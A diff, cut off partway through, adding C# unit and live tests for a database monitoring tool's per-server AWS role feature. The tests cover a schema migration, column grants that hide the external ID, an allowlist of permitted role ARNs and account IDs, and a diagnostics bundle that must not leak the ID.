+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// V169: the per-server AWS role on <c>config.config_monitored_servers</c> (#5452). The static pins: the rung's place in
+/// the ladder and its shape, the viewer's version probe, the column ACL, and the self-managed script's copy of the edit
+/// function, its wrapper and the trigger rule. The store behaviour is in <see cref="AwsPerServerRoleLiveTests"/>.
+///
+/// <para>This file carries the "I am the top rung" claims, which move to the next rung's tests when one lands above it.</para>
+/// </summary>
+public sealed class AwsPerServerRoleRungTests
+{
+    internal const int RungVersion = 169;
+    private const int PreviousVersion = 168;
+
+    /// <summary>This rung's sentinel ordinal in the viewer probe. No longer the last argument: V170's sentinel (#5495) follows it.</summary>
+    internal const int ProbeOrdinal = 144;
+
+    private const string RoleColumn = "aws_role_arn";
+
+    [Fact]
+    public void TheRungIsRegisteredAtTheTopOfADenseLadder()
+    {
+        var versions = PgMigrations.Scripts.Select(s => s.Version).ToList();
+
+        Assert.Equal("aws-per-server-role", PgMigrations.Scripts.Single(s => s.Version == RungVersion).Name);
+        /* No longer the top rung: the PostgreSQL I/O hourly rollup rung (V170) landed above it. */
+        Assert.Equal(StorageVersion.SchemaVersion, PgMigrations.Scripts[^1].Version);
+        Assert.Equal(StorageVersion.SchemaVersion, versions.Max());
+        Assert.True(RungVersion < StorageVersion.SchemaVersion);
+        Assert.Equal(versions.Distinct().OrderBy(v => v), versions);
+        Assert.Equal(PreviousVersion, RungVersion - 1);
+        Assert.Contains(PreviousVersion, versions);
+    }
+
+    [Fact]
+    public void TheRungIsIdempotent_AndMovesNoData()
+    {
+        var rung = PgMigrations.Scripts.Single(s => s.Version == RungVersion).Sql;
+
+        Assert.Equal(3, CountOf(rung, "ADD COLUMN IF NOT EXISTS"));
+        Assert.Equal(3, CountOf(rung, "ALTER TABLE config.config_monitored_servers ADD COLUMN"));
+        Assert.DoesNotContain("ALTER TABLE config_monitored_servers", rung, StringComparison.Ordinal);
+        Assert.Contains("aws_role_arn text;", rung, StringComparison.Ordinal);
+        Assert.Contains("aws_external_id text;", rung, StringComparison.Ordinal);
+        Assert.Contains("GENERATED ALWAYS AS (aws_external_id IS NOT NULL) STORED", rung, StringComparison.Ordinal);
+
+        /* The check is added once, behind a catalog guard (the V62 pattern), so a re-run does not fail on it. */
+        Assert.Equal(1, CountOf(rung, "ADD CONSTRAINT config_monitored_servers_aws_role_check"));
+        Assert.Contains("WHERE conname = 'config_monitored_servers_aws_role_check'", rung, StringComparison.Ordinal);
+        Assert.Contains("IF NOT EXISTS (SELECT 1 FROM pg_constraint", rung, StringComparison.Ordinal);
+
+        foreach (var shape in new[] { "UPDATE ", "DELETE ", "INSERT ", "CREATE INDEX", "DROP " })
+        {
+            Assert.DoesNotContain(shape, rung, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void TheCheckIsTheCoarseBackstop_WithNoRepeatCountOverTwoHundredFiftyFive()
+    {
+        var rung = PgMigrations.Scripts.Single(s => s.Version == RungVersion).Sql;
+
+        /* No term of the check can be NULL, so an external ID with no role is false rather than unknown. */
+        Assert.Contains("(aws_external_id IS NULL OR aws_role_arn IS NOT NULL)", rung, StringComparison.Ordinal);
+        Assert.Contains("aws_role_arn ~ '^arn:aws(-[a-z]+)*:iam::[0-9]{12}:role/[A-Za-z0-9_+=,.@/-]+$'", rung, StringComparison.Ordinal);
+        Assert.Contains("char_length(aws_role_arn) <= " + AwsRoleSettings.RoleArnMaxLength, rung, StringComparison.Ordinal);
+        Assert.Contains("aws_external_id ~ '^[A-Za-z0-9_+=,.@:/-]+$'", rung, StringComparison.Ordinal);
+        Assert.Contains(
+            $"char_length(aws_external_id) BETWEEN {AwsRoleSettings.ExternalIdMinLength} AND {AwsRoleSettings.ExternalIdMaxLength}",
+            rung, StringComparison.Ordinal);
+
+        /* PostgreSQL's regular expressions refuse a repeat count above 255 (2201B at the first use), so the lengths are
+           char_length terms and the patterns carry no large count. */
+        Assert.DoesNotMatch("[{][0-9]+,[0-9]*[}]", rung.Replace("{12}", string.Empty, StringComparison.Ordinal));
+    }
+
+    /* ---- the probe (three sites, top arm) ------------------------------------------------------------- */
+
+    [Fact]
+    public void TheProbeMapsAFullyMigratedStoreToThisTopRung()
+    {
+        Assert.Contains($"column_name = '{RoleColumn}'", ViewerDataService.StoreSchemaProbeSql, StringComparison.Ordinal);
+        Assert.Contains("table_name = 'config_monitored_servers'", ViewerDataService.StoreSchemaProbeSql, StringComparison.Ordinal);
+
+        var viewer = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.cs");
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 1})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 2})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 3})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 4})", viewer, StringComparison.Ordinal);
+        Assert.DoesNotContain($"reader.GetBoolean({ProbeOrdinal + 5})", viewer, StringComparison.Ordinal);
+
+        Assert.Equal(StorageVersion.SchemaVersion, ViewerDataService.RequiredStoreSchemaVersion);
+
+        var method = typeof(ViewerDataService).GetMethod("MapProbedSchemaVersion", BindingFlags.NonPublic | BindingFlags.Static)!;
+        var arity = method.GetParameters().Length;
+
+        /* A newer rung's sentinel (V173's, #5582) is the last argument. */
+        Assert.Equal(ProbeOrdinal + 4, arity - 1);
+
+        var all = Enumerable.Repeat((object)true, arity).ToArray();
+        Assert.Equal(StorageVersion.SchemaVersion, (int)method.Invoke(null, all)!);
+
+        var atThisRung = Enumerable.Range(0, arity).Select(i => (object)(i <= ProbeOrdinal)).ToArray();
+        Assert.Equal(RungVersion, (int)method.Invoke(null, atThisRung)!);
+        var behind = (object[])atThisRung.Clone();
+        behind[ProbeOrdinal] = false;
+        Assert.Equal(PreviousVersion, (int)method.Invoke(null, behind)!);
+
+        /* In the source the arm sits ABOVE V168's, and returns this build's version. */
+        var v169 = viewer.IndexOf("if (hasAwsRole)", StringComparison.Ordinal);
+        var v168 = viewer.IndexOf("if (hasPlanRegressionDaily)", StringComparison.Ordinal);
+        Assert.True(v169 >= 0, "the viewer has no V169 sentinel arm, so a fully-migrated store would map to 168");
+        Assert.True(v168 >= 0, "the V168 arm is gone, so this pin is comparing against nothing");
+        Assert.True(v169 < v168, "the V169 arm sits below V168's, so a current store maps one rung low");
+        Assert.Contains(
+            "return " + RungVersion.ToString(CultureInfo.InvariantCulture) + ";",
+            viewer[v169..v168], StringComparison.Ordinal);
+    }
+
+    /* ---- the column ACL -------------------------------------------------------------------------------- */
+
+    [Fact]
+    public void TheColumnAcl_ShowsTheRoleAndTheFlag_AndHidesTheExternalId()
+    {
+        var table = DarlingManagedRoles.ViewerRestrictedConfigTables.Single(t => t.Table == "config_monitored_servers");
+
+        Assert.Contains("aws_role_arn", table.NonSecretColumns);
+        Assert.Contains("aws_external_id_set", table.NonSecretColumns);
+        Assert.Contains("aws_external_id", table.SecretColumns);
+        Assert.DoesNotContain("aws_external_id", table.NonSecretColumns);
+
+        /* The self-managed script grants the same two columns to both read-only roles, and never the ID. */
+        var script = System.Text.RegularExpressions.Regex.Replace(
+            RepoFile.ReadRepoFile("Darling", "tools", "provision-roles.sql"), @"(?m)^\s*--.*$", string.Empty);
+        var grants = System.Text.RegularExpressions.Regex.Matches(
+            script, @"GRANT SELECT \([^;]*?\)\s+ON config\.config_monitored_servers TO (viewer|mcp);",
+            System.Text.RegularExpressions.RegexOptions.Singleline);
+        Assert.Equal(2, grants.Count);
+        foreach (System.Text.RegularExpressions.Match grant in grants)
+        {
+            var uncommented = grant.Value;
+            Assert.Contains("aws_role_arn", uncommented, StringComparison.Ordinal);
+            Assert.Contains("aws_external_id_set", uncommented, StringComparison.Ordinal);
+            Assert.DoesNotMatch(@"(?<![A-Za-z0-9_])aws_external_id(?![A-Za-z0-9_])", uncommented);
+        }
+    }
+
+    /* ---- the edit function, its wrapper and the trigger rule -------------------------------------------- */
+
+    [Fact]
+    public void TheEditFunctionTakesSeventeenArguments_AndTheWrapperKeepsTheOldFifteen()
+    {
+        Assert.Equal(17, DarlingManagedRoles.EditMonitoredServerSignature.Split(',').Length);
+        Assert.Equal(15, DarlingManagedRoles.EditMonitoredServerLegacySignature.Split(',').Length);
+        Assert.Equal(DarlingManagedRoles.EditMonitoredServerLegacySignature + ", text, text", DarlingManagedRoles.EditMonitoredServerSignature);
+
+        var function = DarlingManagedRoles.BuildEditMonitoredServerFunctionSql("config");
+        Assert.Contains("p_aws_role_arn text,", function, StringComparison.Ordinal);
+        Assert.Contains("p_aws_external_id text)", function, StringComparison.Ordinal);
+        Assert.Contains("'external_id_needed'", function, StringComparison.Ordinal);
+        Assert.Contains("'external_id_needs_role'", function, StringComparison.Ordinal);
+        Assert.Contains(
+            $"REVOKE ALL ON FUNCTION config.edit_monitored_server({DarlingManagedRoles.EditMonitoredServerSignature}) FROM PUBLIC;",
+            function, StringComparison.Ordinal);
+
+        var wrapper = DarlingManagedRoles.BuildEditMonitoredServerLegacyWrapperSql("config");
+        Assert.Contains("SECURITY DEFINER", wrapper, StringComparison.Ordinal);
+        Assert.Contains("SET search_path = pg_catalog, pg_temp", wrapper, StringComparison.Ordinal);
+        Assert.Contains("array_remove(array_remove(COALESCE(p_columns, ARRAY[]::text[]), 'aws_role_arn'), 'aws_external_id')", wrapper, StringComparison.Ordinal);
+        Assert.Contains("NULL::text, NULL::text) AS e;", wrapper, StringComparison.Ordinal);
+        Assert.Contains(
+            $"REVOKE ALL ON FUNCTION config.edit_monitored_server({DarlingManagedRoles.EditMonitoredServerLegacySignature}) FROM PUBLIC;",
+            wrapper, StringComparison.Ordinal);
+
+        /* The managed batch creates the long function before the wrapper that calls it, and grants both. */
+        var batch = DarlingManagedRoles.BuildProvisioningSql(ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp);
+        var functionAt = batch.IndexOf(function, StringComparison.Ordinal);
+        var wrapperAt = batch.IndexOf(wrapper, StringComparison.Ordinal);
+        Assert.True(functionAt >= 0 && wrapperAt > functionAt, "the wrapper must be created after the function it calls");
+        Assert.Contains(
+            $"GRANT EXECUTE ON FUNCTION config.edit_monitored_server({DarlingManagedRoles.EditMonitoredServerSignature}) TO viewer, mcp;",
+            batch, StringComparison.Ordinal);
+        Assert.Contains(
+            $"GRANT EXECUTE ON FUNCTION config.edit_monitored_server({DarlingManagedRoles.EditMonitoredServerLegacySignature}) TO viewer, mcp;",
+            batch, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheSelfManagedScript_CarriesTheWrapper_BothGrants_AndTheTriggerRule()
+    {
+        var script = System.Text.RegularExpressions.Regex.Replace(
+            RepoFile.ReadRepoFile("Darling", "tools", "provision-roles.sql"), @"(?m)^\s*--.*$", string.Empty);
+
+        Assert.Contains(
+            NormalizeSql(DarlingManagedRoles.BuildEditMonitoredServerLegacyWrapperSql("config")), NormalizeSql(script), StringComparison.Ordinal);
+        Assert.Contains(
+            $"GRANT EXECUTE ON FUNCTION config.edit_monitored_server({DarlingManagedRoles.EditMonitoredServerSignature}) TO viewer, mcp;",
+            script, StringComparison.Ordinal);
+        Assert.Contains(
+            $"GRANT EXECUTE ON FUNCTION config.edit_monitored_server({DarlingManagedRoles.EditMonitoredServerLegacySignature}) TO viewer, mcp;",
+            script, StringComparison.Ordinal);
+
+        var rules = DarlingManagedRoles.BuildServerPasswordRulesSql("config");
+        Assert.Contains("USING ERRCODE = 'PW004'", rules, StringComparison.Ordinal);
+        Assert.Contains(AwsRoleSettings.RoleChangeNeedsExternalIdMessage, rules, StringComparison.Ordinal);
+        Assert.Contains(NormalizeSql(rules), NormalizeSql(script), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheMcpLogin_UpdatesEveryColumnButTheRoleAndExternalId_InTheManagedBatchAndTheScript()
+    {
+        var columns = DarlingManagedRoles.McpMonitoredServerUpdateColumns.Split(',', StringSplitOptions.TrimEntries);
+        Assert.DoesNotContain("aws_role_arn", columns);
+        Assert.DoesNotContain("aws_external_id", columns);
+        Assert.DoesNotContain("aws_external_id_set", columns);
+        Assert.Equal(columns.Length, columns.Distinct(StringComparer.Ordinal).Count());
+
+        var batch = NormalizeSql(DarlingManagedRoles.BuildProvisioningSql(
+            ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp));
+        var script = NormalizeSql(RepoFile.ReadRepoFile("Darling", "tools", "provision-roles.sql"));
+
+        Assert.Contains($"GRANT UPDATE ({DarlingManagedRoles.McpMonitoredServerUpdateColumns}) ON config.config_monitored_servers TO mcp;", script, StringComparison.Ordinal);
+        Assert.Contains("REVOKE UPDATE ON config.config_monitored_servers FROM mcp;", script, StringComparison.Ordinal);
+        Assert.Contains("GRANT INSERT, DELETE ON config.config_monitored_servers TO mcp;", script, StringComparison.Ordinal);
+        Assert.DoesNotContain("GRANT INSERT, UPDATE, DELETE ON config.config_monitored_servers", script, StringComparison.Ordinal);
+
+        Assert.Contains($"GRANT UPDATE ({DarlingManagedRoles.McpMonitoredServerUpdateColumns}) ON", batch, StringComparison.Ordinal);
+        Assert.Contains("REVOKE UPDATE ON", batch, StringComparison.Ordinal);
+        Assert.Contains("GRANT INSERT, DELETE ON config.config_monitored_servers TO", batch, StringComparison.Ordinal);
+        Assert.DoesNotContain("GRANT INSERT, UPDATE, DELETE ON config.config_monitored_servers", batch, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheEditFunction_AnswersInvalidValue_ForAnEmptyRequiredField_AndForAValueTheTableRefuses()
+    {
+        foreach (var body in new[]
+        {
+            NormalizeSql(DarlingManagedRoles.BuildEditMonitoredServerFunctionSql("config")),
+            NormalizeSql(RepoFile.ReadRepoFile("Darling", "tools", "provision-roles.sql")),
+        })
+        {
+            Assert.Contains("'name' = ANY (p_columns) AND p_name IS NULL", body, StringComparison.Ordinal);
+            Assert.Contains("OR v_host IS NULL OR v_port IS NULL OR v_auth IS NULL OR v_encrypt_mode IS NULL", body, StringComparison.Ordinal);
+            Assert.Contains("'invalid_value'::text", body, StringComparison.Ordinal);
+            Assert.Contains("EXCEPTION WHEN integrity_constraint_violation THEN", body, StringComparison.Ordinal);
+        }
+    }
+
+    private static string NormalizeSql(string sql) =>
+        System.Text.RegularExpressions.Regex.Replace(
+            System.Text.RegularExpressions.Regex.Replace(sql, @"(?m)^\s*--.*$", ""), @"\s+", " ").Trim();
+
+    private static int CountOf(string haystack, string needle)
+    {
+        var count = 0;
+        for (var at = haystack.IndexOf(needle, StringComparison.Ordinal);
+             at >= 0;
+             at = haystack.IndexOf(needle, at + needle.Length, StringComparison.Ordinal))
+        {
+            count++;
+        }
+
+        return count;
+    }
+}
diff --git a/Darling/Darling.Tests/AwsRoleAllowlistTests.cs b/Darling/Darling.Tests/AwsRoleAllowlistTests.cs
new file mode 100644
index 0000000000..716c1de8c7
--- /dev/null
+++ b/Darling/Darling.Tests/AwsRoleAllowlistTests.cs
@@ -0,0 +1,317 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Targets;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Which AWS roles the web and MCP may set (#5452): the list type, the <c>allowedAwsRoles</c> darling.json setting,
+/// and where the worker sets the list in use.
+/// </summary>
+public sealed class AwsRoleAllowlistTests
+{
+    private const string Role = "arn:aws:iam::123456789012:role/darling-monitor";
+    private const string PathRole = "arn:aws:iam::123456789012:role/team/darling-monitor";
+    private const string OtherAccountRole = "arn:aws:iam::210987654321:role/darling-monitor";
+
+    [Fact]
+    public void Empty_AllowsNothing()
+    {
+        Assert.False(AwsRoleAllowlist.Empty.IsAllowed(Role));
+        Assert.False(AwsRoleAllowlist.Empty.IsAllowed(null));
+        Assert.Equal(0, AwsRoleAllowlist.Empty.Count);
+    }
+
+    [Fact]
+    public void Current_StartsEmpty()
+    {
+        // Nothing in the test run sets it: a test names its list through the overloads.
+        Assert.Same(AwsRoleAllowlist.Empty, AwsRoleAllowlist.Current);
+    }
+
+    [Fact]
+    public void AnArnEntry_AllowsExactlyThatArn_CaseSensitive()
+    {
+        var list = AwsRoleAllowlist.From(new[] { Role });
+
+        Assert.True(list.IsAllowed(Role));
+        Assert.True(AwsRoleAllowlist.IsAllowed(Role, list));
+        Assert.False(list.IsAllowed(Role.ToUpperInvariant()));
+        Assert.False(list.IsAllowed("arn:aws:iam::123456789012:role/Darling-Monitor"));
+        Assert.False(list.IsAllowed(PathRole));
+        Assert.False(list.IsAllowed(OtherAccountRole));
+    }
+
+    [Fact]
+    public void AnAccountIdEntry_AllowsEveryRoleInThatAccount_AndNoOther()
+    {
+        var list = AwsRoleAllowlist.From(new[] { "123456789012" });
+
+        Assert.True(list.IsAllowed(Role));
+        Assert.True(list.IsAllowed(PathRole));
+        Assert.False(list.IsAllowed(OtherAccountRole));
+    }
+
+    [Fact]
+    public void ABareAccountIdEntry_AllowsThatAccountInTheAwsPartitionOnly()
+    {
+        var list = AwsRoleAllowlist.From(new[] { "123456789012" });
+
+        Assert.True(list.IsAllowed(Role));
+        Assert.False(list.IsAllowed("arn:aws-cn:iam::123456789012:role/darling-monitor"));
+        Assert.False(list.IsAllowed("arn:aws-us-gov:iam::123456789012:role/darling-monitor"));
+    }
+
+    [Fact]
+    public void APartitionQualifiedAccountEntry_AllowsThatAccountInThatPartitionOnly()
+    {
+        var china = AwsRoleAllowlist.From(new[] { "aws-cn:123456789012" });
+        Assert.True(china.IsAllowed("arn:aws-cn:iam::123456789012:role/darling-monitor"));
+        Assert.True(china.IsAllowed("arn:aws-cn:iam::123456789012:role/team/darling-monitor"));
+        Assert.False(china.IsAllowed(Role));
+        Assert.False(china.IsAllowed("arn:aws-us-gov:iam::123456789012:role/darling-monitor"));
+        Assert.False(china.IsAllowed("arn:aws-cn:iam::210987654321:role/darling-monitor"));
+
+        var gov = AwsRoleAllowlist.From(new[] { "aws-us-gov:123456789012" });
+        Assert.True(gov.IsAllowed("arn:aws-us-gov:iam::123456789012:role/darling-monitor"));
+        Assert.False(gov.IsAllowed(Role));
+        Assert.False(gov.IsAllowed("arn:aws-cn:iam::123456789012:role/darling-monitor"));
+    }
+
+    [Fact]
+    public void TheAwsPartitionCanBeWrittenOut_AndMatchesTheBareForm()
+    {
+        var list = AwsRoleAllowlist.From(new[] { "aws:123456789012" });
+        Assert.True(list.IsAllowed(Role));
+        Assert.False(list.IsAllowed("arn:aws-cn:iam::123456789012:role/darling-monitor"));
+    }
+
+    [Fact]
+    public void SeveralPartitionEntries_EachAllowTheirOwnPartition()
+    {
+        var list = AwsRoleAllowlist.From(new[] { "123456789012", "aws-cn:123456789012", "aws-us-gov:210987654321" });
+        Assert.Equal(3, list.Count);
+        Assert.True(list.IsAllowed(Role));
+        Assert.True(list.IsAllowed("arn:aws-cn:iam::123456789012:role/darling-monitor"));
+        Assert.False(list.IsAllowed("arn:aws-us-gov:iam::123456789012:role/darling-monitor"));
+        Assert.True(list.IsAllowed("arn:aws-us-gov:iam::210987654321:role/darling-monitor"));
+    }
+
+    [Fact]
+    public void AnAccountIdEntry_DoesNotMatchAnAccountIdInsideAnotherPartOfTheArn()
+    {
+        var list = AwsRoleAllowlist.From(new[] { "123456789012" });
+
+        // The account id appears in the role name and path, not in the account field.
+        Assert.False(list.IsAllowed("arn:aws:iam::210987654321:role/123456789012"));
+        Assert.False(list.IsAllowed("arn:aws:iam::210987654321:role/123456789012/darling-monitor"));
+        // Not a role ARN at all.
+        Assert.False(list.IsAllowed("arn:aws:iam::123456789012:user/darling-monitor"));
+        Assert.False(list.IsAllowed("123456789012"));
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("   ")]
+    public void ABlankRole_IsNeverAllowed(string? role)
+    {
+        var list = AwsRoleAllowlist.From(new[] { Role, "123456789012" });
+
+        Assert.False(list.IsAllowed(role));
+    }
+
+    [Fact]
+    public void TheRoleAndEntriesAreTrimmed()
+    {
+        var list = AwsRoleAllowlist.From(new[] { "  " + Role + " ", " 123456789012 " });
+
+        Assert.True(list.IsAllowed(" " + Role));
+        Assert.True(list.IsAllowed(OtherAccountRole.Replace("210987654321", "123456789012")));
+        Assert.Equal(2, list.Count);
+    }
+
+    [Fact]
+    public void From_DropsBlankAndUnusableEntries_AndCountsARepeatOnce()
+    {
+        var list = AwsRoleAllowlist.From(new string?[] { null, "", "  ", "not-an-arn", "12345", "1234567890123", Role, Role });
+
+        Assert.Equal(1, list.Count);
+        Assert.True(list.IsAllowed(Role));
+        Assert.Same(AwsRoleAllowlist.Empty, AwsRoleAllowlist.From(new string?[] { null, "junk" }));
+        Assert.Same(AwsRoleAllowlist.Empty, AwsRoleAllowlist.From(null));
+    }
+
+    [Theory]
+    [InlineData(Role, true)]
+    [InlineData(PathRole, true)]
+    [InlineData("123456789012", true)]
+    [InlineData("  123456789012  ", true)]
+    [InlineData("aws-cn:123456789012", true)]
+    [InlineData("aws-us-gov:123456789012", true)]
+    [InlineData("  aws-cn:123456789012  ", true)]
+    [InlineData("aws-cn:12345678901", false)]
+    [InlineData("aws-cn:", false)]
+    [InlineData(":123456789012", false)]
+    [InlineData("china:123456789012", false)]
+    [InlineData("aws-cn:aws-cn:123456789012", false)]
+    [InlineData("12345678901", false)]
+    [InlineData("1234567890123", false)]
+    [InlineData("12345678901a", false)]
+    [InlineData("*", false)]
+    [InlineData("", false)]
+    [InlineData("arn:aws:iam::123456789012:user/x", false)]
+    [InlineData("arn:aws:iam::123456789012:role/", false)]
+    public void ValidateEntry_AcceptsAnArnOrATwelveDigitId(string entry, bool ok)
+    {
+        Assert.Equal(ok, AwsRoleAllowlist.ValidateEntry(entry) is null);
+    }
+
+    [Fact]
+    public void ValidateEntry_AnswersWithTheFixedSentence()
+    {
+        Assert.Equal(AwsRoleAllowlist.InvalidEntryMessage, AwsRoleAllowlist.ValidateEntry("junk"));
+        Assert.Equal(AwsRoleAllowlist.InvalidEntryMessage, AwsRoleAllowlist.ValidateEntry(null));
+    }
+
+    [Fact]
+    public void FromConfig_IsTheSettingPlusEveryServersRole()
+    {
+        var config = new DarlingConfig();
+        config.AllowedAwsRoles.Add(Role);
+        config.AllowedAwsRoles.Add("210987654321");
+        config.Servers.Add(new MonitoredServer { Name = "a", AwsRoleArn = "arn:aws:iam::111111111111:role/from-server" });
+        config.Servers.Add(new MonitoredServer { Name = "b" });
+
+        var list = AwsRoleAllowlist.FromConfig(config);
+
+        Assert.True(list.IsAllowed(Role));
+        Assert.True(list.IsAllowed(OtherAccountRole));
+        Assert.True(list.IsAllowed("arn:aws:iam::111111111111:role/from-server"));
+        Assert.False(list.IsAllowed("arn:aws:iam::111111111111:role/other"));
+        Assert.Equal(3, list.Count);
+    }
+
+    [Fact]
+    public void FromConfig_WithNothingSet_AllowsNothing()
+    {
+        Assert.Same(AwsRoleAllowlist.Empty, AwsRoleAllowlist.FromConfig(new DarlingConfig()));
+    }
+
+    [Fact]
+    public void TheSettingReadsFromDarlingJson_UnderItsCamelCaseName()
+    {
+        var config = DarlingConfig.Parse("""
+            { "allowedAwsRoles": [ "arn:aws:iam::123456789012:role/darling-monitor", "210987654321" ] }
+            """);
+
+        Assert.Equal(new[] { Role, "210987654321" }, config.AllowedAwsRoles);
+    }
+
+    [Fact]
+    public void WhenTheSettingIsOmitted_TheListIsEmpty_AndTheSampleValidatesClean()
+    {
+        Assert.Empty(new DarlingConfig().AllowedAwsRoles);
+
+        var sample = DarlingConfig.Parse(File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "darling.sample.json")));
+        Assert.Empty(sample.AllowedAwsRoles);
+        Assert.Empty(sample.Validate());
+    }
+
+    [Fact]
+    public void Validate_RejectsAnEntryThatIsNeitherAnArnNorATwelveDigitId_NamingItsPosition()
+    {
+        var config = new DarlingConfig();
+        config.Postgres.ConnectionString = "Host=localhost;Database=darling;Username=x;Password=y";
+        config.Servers.Add(new MonitoredServer { Name = "sql1", Host = "sql1.example", Auth = "integrated" });
+        config.AllowedAwsRoles.Add(Role);
+        config.AllowedAwsRoles.Add("123456789012");
+        config.AllowedAwsRoles.Add("aws-cn:123456789012");
+        Assert.Empty(config.Validate());
+
+        config.AllowedAwsRoles.Add("not-a-role");
+        config.AllowedAwsRoles.Add("");
+        var problems = config.Validate();
+
+        Assert.Equal(2, problems.Count);
+        Assert.Contains(problems, p => p.StartsWith("allowedAwsRoles[3]: ", StringComparison.Ordinal)
+            && p.EndsWith(AwsRoleAllowlist.InvalidEntryMessage, StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("allowedAwsRoles[4]: ", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void TheWorkerSetsTheListInUseOnce_BeforeItBuildsTheRunner()
+    {
+        var dir = AppContext.BaseDirectory;
+        string? worker = null;
+        while (dir is not null)
+        {
+            var candidate = Path.Combine(dir, "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+            if (File.Exists(candidate))
+            {
+                worker = candidate;
+                break;
+            }
+
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        if (worker is null)
+        {
+            // The test host runs away from the source tree (a published layout): nothing to pin.
+            return;
+        }
+
+        var text = File.ReadAllText(worker);
+        var sets = Regex.Matches(text, @"AwsRoleAllowlist\.Current\s*=").Count;
+        Assert.Equal(1, sets);
+        Assert.True(
+            text.IndexOf("AwsRoleAllowlist.Current =", StringComparison.Ordinal)
+                < text.IndexOf("new DarlingCollectorRunner(", StringComparison.Ordinal),
+            "The list is set before the runner is built.");
+    }
+
+    [Fact]
+    public void NothingOutsideTheWorkerSetsTheListInUse()
+    {
+        var dir = AppContext.BaseDirectory;
+        string? service = null;
+        while (dir is not null)
+        {
+            var candidate = Path.Combine(dir, "PerformanceMonitor.Darling.Service");
+            if (File.Exists(Path.Combine(candidate, "DarlingWorker.cs")))
+            {
+                service = candidate;
+                break;
+            }
+
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        if (service is null)
+        {
+            return;
+        }
+
+        var setters = Directory.EnumerateFiles(service, "*.cs", SearchOption.AllDirectories)
+            .Where(f => !f.Contains($"{Path.DirectorySeparatorChar}obj{Path.DirectorySeparatorChar}", StringComparison.Ordinal)
+                     && !f.Contains($"{Path.DirectorySeparatorChar}bin{Path.DirectorySeparatorChar}", StringComparison.Ordinal))
+            .Where(f => Regex.IsMatch(File.ReadAllText(f), @"AwsRoleAllowlist\.Current\s*="))
+            .Select(Path.GetFileName)
+            .ToArray();
+
+        Assert.Equal(new[] { "DarlingWorker.cs" }, setters);
+    }
+}
diff --git a/Darling/Darling.Tests/AwsRoleBundleEndToEndLiveTests.cs b/Darling/Darling.Tests/AwsRoleBundleEndToEndLiveTests.cs
new file mode 100644
index 0000000000..42c2b5e9f4
--- /dev/null
+++ b/Darling/Darling.Tests/AwsRoleBundleEndToEndLiveTests.cs
@@ -0,0 +1,186 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Targets;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: the test mints its own scratch database through ScratchPostgres. */
+
+/// <summary>
+/// #5452: each server can use its own AWS role, end to end through the diagnostics bundle. The worker's role arm writes a
+/// PERMISSIONS row to collection_log for a server that has a role and an external ID; a bundle is then built from that
+/// store (the server is known only to the store registry); and the bundle names the role as an alias and never holds the
+/// external ID. Names are synthetic (the example account 123456789012).
+/// </summary>
+public sealed class AwsRoleBundleEndToEndLiveTests
+{
+    private const string Role = "arn:aws:iam::123456789012:role/darling-monitor";
+    private const string ExternalId = "ext-7Hq2mZ9vLx";
+    private const string ServerName = "alpha-pg-01";
+    private const string Host = "alpha-pg-01.abcdefghijkl.us-east-1.rds.amazonaws.com";
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /* The server as the store holds it: the registry row (with its role and external ID) and the collected-data server row. */
+    private static async Task SeedServerAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    {
+        await using var insert = new NpgsqlCommand(
+            "INSERT INTO config.config_monitored_servers (server_id, name, host, database, auth, username, engine, port, aws_role_arn, aws_external_id) "
+            + "VALUES (9201, $1, $2, 'postgres', 'sql', 'pgcollect', 'postgres', 5432, $3, $4)", connection);
+        insert.Parameters.AddWithValue(ServerName);
+        insert.Parameters.AddWithValue(Host);
+        insert.Parameters.AddWithValue(Role);
+        insert.Parameters.AddWithValue(ExternalId);
+        await insert.ExecuteNonQueryAsync(ct);
+
+        await using var registered = new NpgsqlCommand(
+            "INSERT INTO collect.servers (server_id, server_name, display_name, is_enabled, created_date, modified_date) "
+            + "VALUES (9201, $1, $1, true, now(), now())", connection);
+        registered.Parameters.AddWithValue(ServerName);
+        await registered.ExecuteNonQueryAsync(ct);
+    }
+
